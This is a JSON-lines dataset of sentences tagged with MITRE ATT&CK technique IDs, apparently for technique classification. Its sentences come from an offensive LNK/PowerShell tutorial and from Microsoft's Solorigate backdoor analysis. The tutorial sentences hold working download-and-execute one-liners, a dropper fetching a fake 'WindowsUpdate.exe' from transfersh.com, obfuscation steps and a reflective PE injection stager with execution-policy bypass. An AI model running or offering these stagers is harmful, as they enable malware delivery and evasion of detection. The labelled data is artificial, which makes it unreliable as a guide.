{"sentence": "It should be noted anyway in the world of real malware development, seasoned and skilled adversaries often turn to programming languages such as C and C++ to craft their malicious creations at a lower level.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "While higher-level languages like Python offer ease of use and rapid development, the power and control provided by lower-level languages are paramount in the realm of sophisticated malware: one of the primary reasons for choosing C and C++ is the level of control they provide over system resources and hardware.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "These languages allow direct memory manipulation, access to system APIs, and the ability to write efficient and optimized code.", "labels": ["T1106"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "This level of control enables malware developers to create stealthy, complex, and tailored malicious functionalities that can evade detection and exploit vulnerabilities in the targeted environment.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Windows Shortcut (LNK) “Weaponize” is a term that refers to the first phase of the kill chain and it is categorized as the Build Capabilities technique under Resource Development tactic of the MITRE ATT&CK framework.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Building capabilities consist of creating custom payloads, post-compromise and remote access tool development, creating infected removable media, and similar techniques.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "The goal is to create and deliver the first payload to the target according to the environment.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Several tools are available to create an initial payload, such as a self-extracting archive (SFX).", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "A classic technique used mostly by Advanced Persistent Threat (APT) groups is the use of LNK files when delivering malware: shortcut files that point to other files.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "These files have been used as an attack vector as early as 2013.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "For example, the APT group Gamaredon has put LNK files to work, including a campaign that started in August 2022 against organizations in Ukraine.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Attackers are using LNK files to download malware or other malicious files by leveraging legitimate native apps, such as PowerShell.", "labels": ["T1105"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "For instance, this is a PowerShell one-liner that can be used to download and execute a remote .ps1 or .exe file: powershell \"IEX(New-Object Net.", "labels": ["T1105"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "WebClient).downloadString('http://IP:PORT/malicious.ps1')\" The .ps1 file could be a simple stager download of an .exe file and its execution.", "labels": ["T1105"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "This is a clever technique that has been used for years, including in the Stuxnet attacks that were first uncovered in 2010.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "It’s an effective technique because it exploits a fundamental feature of Windows, which is to automatically launch executables using the metadata stored in the LNK file.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "The .ps1 file can also be a complex script that can also achieve persistence with more functionalities.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Some attackers go even further by appending the stager to the LNK file.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "In this case, the PowerShell one-liner will find, decrypt, and execute code appended to the original file.", "labels": ["T1140"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Lastly, this will run a series of “stagers” with the object to delivery the final malware inside the victim’s computer.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "An ounce of practice is worth more than tons of preaching Gandhi After theory, comes practice!", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "One Shot, One Kill – Upload PE File Before start coding the .ps1 stager, we need to upload the PE file build early, using transfersh.com: curl -H \"Max-Downloads: 1\" -H \"Max-Days: 5\" --upload-file ./final_server.exe", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "https://transfersh.com/WindowsUpdate Output: https://transfersh.com/XXXXXXXX/WindowsUpdate After one download the file will be deleted and link will returns a 404 error.", "labels": ["T1070.004"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "We can choose also how many days the file be stored.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Powershell Stager / Dropper $down = New-Object System.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Net.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "WebClient $url = 'https://transfersh.com/ZZZZZZZ/WindowsUpdate' $file =", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "[System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), 'WindowsUpdate.exe') $down.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "DownloadFile($url, $file) $exec = New-Object -ComObject shell.application $exec.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "ShellExecute($file)", "labels": ["T1059.003"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "This is a simple PowerShell script that downloads a file from a fixed location and executes it.", "labels": ["T1105"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Here’s what each line does: $down = New-Object System.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "WebClient", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "This line creates a new WebClient object and assigns it to the variable $down.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "The WebClient class provides common methods for sending data to and receiving data from a resource identified by a URI.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "$url = 'https://transfersh.com/ZZZZZZZ/WindowsUpdate' This line sets the value of the $url variable to the URL of the file to be downloaded.", "labels": ["T1105"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "[System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), 'WindowsUpdate.exe')", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "This line uses the Combine method of the Path class to combine the temporary folder path (retrieved using the GetTempPath method) with the file name ‘WindowsUpdate.exe’.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "The resulting path is assigned to the $file variable. $down.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "DownloadFile($url, $file)", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "This line uses the DownloadFile method of the WebClient object to download the file from the specified URL and save it to the specified local file path.", "labels": ["T1105"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "$exec = New-Object -ComObject shell.application This line creates a new Shell.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Application COM object and assigns it to the $exec variable.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "The Shell.", "labels": ["T1059.003"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Application object provides methods for working with the Windows shell.", "labels": ["T1059.003"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "$exec.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "This line uses the ShellExecute method of the Shell.", "labels": ["T1059.003"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Application object to execute the downloaded file.", "labels": ["T1059.003"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "But we want more.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "It’s important to note that we have previously configured the Max-Download parameter to a one-shot only download.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "In addition to the previous modifications, we now aim to keep track of every attempt to execute our stager after the initial compromise: whenever a 404 error is detected, indicating that the file is no longer available on the server, we’ll request a URL using canarytokens.org As said early this serves as a signal to log the event and provides valuable information for monitoring and analysis purposes.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Powershell Stager with trigger $down = New-Object System.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "[System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), 'WindowsUpdate.exe') $request =", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "[System.Net.WebRequest]::Create($url) $request.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Method = 'HEAD' $response = $null try { $response = $request.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "GetResponse() $statusCode =", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "[int]$response.StatusCode if ($statusCode -eq 200) { # Successful response with HTTP status code 200 $down.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "ShellExecute($file) } } catch [System.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "WebException] { $statusCode =", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "[int]$_.Exception.Response.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "StatusCode if ($statusCode -eq 404) { # File not found, make a GET request to a fixed URI generated on canarytokens.org $fixedUrl = 'http://canarytokens.com/feedback/about/XXXXXXXXXX/submit.aspx' $response = $down.DownloadString($fixedUrl) } else { throw } } By implementing a smart error handling mechanism we can enhance our system’s monitoring capabilities: upon receiving a 404 response from a specific URL, we can trigger a subsequent GET request to a fixed URI generated on canarytokens.org.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "This script will not trigger AMSI (Antimalware Scan Interface), providing an advantage in evading detection.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "However, to add an extra layer of complexity and challenge for malware analysts, we will apply some obfuscation techniques using a helpful tool like Chameleon: https://github.com/klezVirus/chameleon This tool has been developed as a Python port of the Chimera project, by tokioneon_.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "As such, it uses mostly the same techniques to evade common detection signatures, like: comment deletion/substitution string substitution (variables, functions, data-types) variable concatenation indentation randomization semi-random backticks insertion case randomization encoding Let’s try: python chameleon.py -n", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "-v -b -K hacktivesec -t", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "h .\\download-execute_full.ps1 -o obfuscated_stager.ps1", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "By incorporating obfuscation techniques our script becomes a little bit more challenging to analyze.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "It should be noted that this entire procedure will leave traces on filesystem.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "The PE file is downloaded on filesystem and than executed.", "labels": ["T1105"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "To enhance operational security, we can employ a clever alternative approach that eliminates the need to download files directly onto the victim’s computer: PE reflective injection.", "labels": ["T1055"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Reflective PE injection Reflective PE injection is a technique used by malware or advanced attackers to inject a Portable Executable (PE) file directly into the memory of a running process without the need for writing the file to disk.", "labels": ["T1055"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Unlike traditional injection methods, which involve loading an external DLL or injecting code into the target process, reflective PE injection allows the malware to load and execute its code directly from memory.", "labels": ["T1055"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "The term “reflective” refers to the ability of the injected code to reflect upon itself and perform necessary operations to execute within the process’s memory space.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "This technique is often employed to bypass security mechanisms that monitor or block external DLL loading or code injection.", "labels": ["T1055"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "In reflective PE injection, the PE file is parsed and its sections are reconstructed in the target process’s memory.", "labels": ["T1055"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "The necessary data structures, such as headers and import tables, are reconstructed as well.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "By doing so, the injected code can appear as a legitimate part of the process, making it more difficult to detect and analyze.", "labels": ["T1055"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Once the PE file is injected and reconstructed in memory, the execution flow can be redirected to the injected code, enabling the malware to operate within the context of the compromised process.", "labels": ["T1055"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "This technique provides several advantages to attackers, including stealthiness, persistence, and the ability to leverage the privileges and resources of the compromised process.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "PowerSploit does provide a module called “Invoke-ReflectivePEInjection” that facilitates reflective PE injection using PowerShell.", "labels": ["T1055"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "This module allows the injection of a PE file into a remote or local process’s memory without writing it to disk, but being a well-known and widely-used tool, it has gained significant attention from security vendors and technologies, including the Antimalware Scan Interface (AMSI).", "labels": ["T1055"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "As a result, AMSI has become increasingly adept at detecting and flagging the usage of PowerSploit’s modules and techniques and other famous tools.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "But we’ll see how to bypass this.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Powershell Stager with Invoke-ReflectivePEInjection (New-Object System.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Net.WebClient).DownloadString('https://example.com/ReflectivePEInjection.ps1') | IEX $remoteUrl = \"https://transfersh.com/XXXXXXX/whatever.exe\" $webClient = New-Object System.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "WebClient $PEBytes = $webClient.DownloadData($remoteUrl) Invoke-ReflectivePEInjection -PEBytes $PEBytes We can host this script somewhere and then run as usually in a fancy oneliner like: powershell -nop", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "-exec bypass -c \"(New-Object System.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "WebClient).DownloadString('https://transfersh.com/XXXXXXX/runme.ps1') | IEX\"", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "In this way, we can directly run the executable in the memory of a running process without the need to write the file to disk.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "However when AMSI (Antimalware Scan Interface) is activated, it will alert us, as mentioned before.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Conclusion The first part of this article concludes here, however, our exploration doesn’t end here!", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "In the next upcoming article, we will dive deep into the intricacies of bypassing AMSI, unraveling detailed techniques and methods that will empower us to evade it.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "We will also explore cutting-edge countermeasures to enhance our offensive capabilities.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Moreover, we’ll delve into a wide range of exciting topics, including: User-level persistence to establish long-term presence and maintain access on compromised systems.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Exploring advanced exfiltration techniques, enabling the covert transfer of sensitive data from target environments.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Spawning new Command and Control (C2) agents, expanding our reach and maintaining resilient communication channels.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Hijack Execution Flow: the art of DLL Side-Loading ! Thank you for reading!", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "References Happy 0 0 % Sad 0 0 % Excited 1 100 % Sleepy 0 0 %", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Angry 0 0 % Surprise 0 0 %", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "We, along with the security industry and our partners, continue to investigate the extent of the Solorigate attack.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "While investigations are underway, we want to provide the defender community with intelligence to understand the scope, impact, remediation guidance, and product detections and protections we have built in as a result.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "We have established a resource center that is constantly updated as more information becomes available at https://aka.ms/solorigate.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "While the full extent of the compromise is still being investigated by the security industry as a whole, in this blog we are sharing insights into the compromised SolarWinds Orion Platform DLL that led to this sophisticated attack.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "The addition of a few benign-looking lines of code into a single DLL file spelled a serious threat to organizations using the affected product, a widely used IT administration software used across verticals, including government and the security industry.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "The discreet malicious codes inserted into the DLL called a backdoor composed of almost 4,000 lines of code that allowed the threat actor behind the attack to operate unfettered in compromised networks.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "The fact that the compromised file is digitally signed suggests the attackers were able to access the company’s software development or distribution pipeline.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Evidence suggests that as early as October 2019, these attackers have been testing their ability to insert code by adding empty classes.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Therefore, insertion of malicious code into the SolarWinds.Orion.Core.BusinessLayer.dll likely occurred at an early stage, before the final stages of the software build, which would include digitally signing the compiled code.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "As a result, the DLL containing the malicious code is also digitally signed, which enhances its ability to run privileged actions—and keep a low profile.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "In many of their actions, the attackers took steps to maintain a low profile.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "For example, the inserted malicious code is lightweight and only has the task of running a malware-added method in a parallel thread such that the DLL’s normal operations are not altered or interrupted.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "This method is part of a class, which the attackers named OrionImprovementBusinessLayer to blend in with the rest of the code.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "The class contains all the backdoor capabilities, comprising 13 subclasses and 16 methods, with strings obfuscated to further hide malicious code.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Once loaded, the backdoor goes through an extensive list of checks to make sure it’s running in an actual enterprise network and not on an analyst’s machines.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "It then contacts a command-and-control (C2) server using a subdomain generated partly from information gathered from the affected device, which means a unique subdomain for each affected domain.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "This is another way the attackers try to evade detection.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "With a lengthy list of functions and capabilities, this backdoor allows hands-on-keyboard attackers to perform a wide range of actions.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "As we’ve seen in past human-operated attacks, once operating inside a network, adversaries can perform reconnaissance on the network, elevate privileges, and move laterally.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Attackers progressively move across the network until they can achieve their goal, whether that’s cyberespionage or financial gain.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Solorigate malware infection chain", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "The challenge in detecting these kinds of attacks means organizations should focus on solutions that can look at different facets of network operations to detect ongoing attacks already inside the network, in addition to strong preventative protection.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "We have previously provided guidance and remediation steps to help ensure that customers are empowered to address this threat.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "In this blog, we’ll share our in-depth analysis of the backdoor’s behavior and functions, and show why it represents a high risk for business environments.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "We’ll also share details of the comprehensive endpoint protection provided by Microsoft Defender for Endpoint.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "In another blog, we discuss protections across the broader Microsoft 365 Defender, which integrates signals from endpoints with other domains – identities, data, cloud – to provide coordinated detection, investigation, and remediation capabilities.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Read: Using Microsoft 365 Defender to protect against Solorigate.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Where it all starts: A poisoned code library The attackers inserted malicious code into SolarWinds.Orion.Core.BusinessLayer.dll, a code library belonging to the SolarWinds Orion Platform.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "The attackers had to find a suitable place in this DLL component to insert their code.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Ideally, they would choose a place in a method that gets invoked periodically, ensuring both execution and persistence, so that the malicious code is guaranteed to be always up and running.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Such a suitable location turns out to be a method named RefreshInternal.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Figure 2: The method infected with the bootstrapper for the backdoor Figure 3: What the original method looks like The modification to this function is very lightweight and could be easily overlooked—all it does is to execute the method OrionImprovementBusinessLayer.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Initialize within a parallel thread, so that the normal execution flow of RefreshInternal is not altered.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Why was this method chosen rather than other ones?", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "A quick look at the architecture of this DLL shows that RefreshInternal is part of the class SolarWinds.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Orion.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "BusinessLayer.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "BackgroundInventory.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "InventoryManager and is invoked by a sequence of methods that can be traced back to the CoreBusinessLayerPlugin class.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "The purpose of this class, which initiates its execution with a method named Start (likely at an early stage when the DLL is loaded), is to initialize various other components and schedule the execution of several tasks.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Among those tasks is Background Inventory, which ultimately starts the malicious code.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "The inserted malicious code runs within a parallel thread The functionality of the backdoor resides entirely in the class OrionImprovementBusinessLayer, comprising 13 subclasses and 16 methods.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Its name blends in with the rest of the legitimate code.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "The threat actors were savvy enough to avoid give-away terminology like “backdoor”, “keylogger”, etc., and instead opted for a more neutral jargon.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
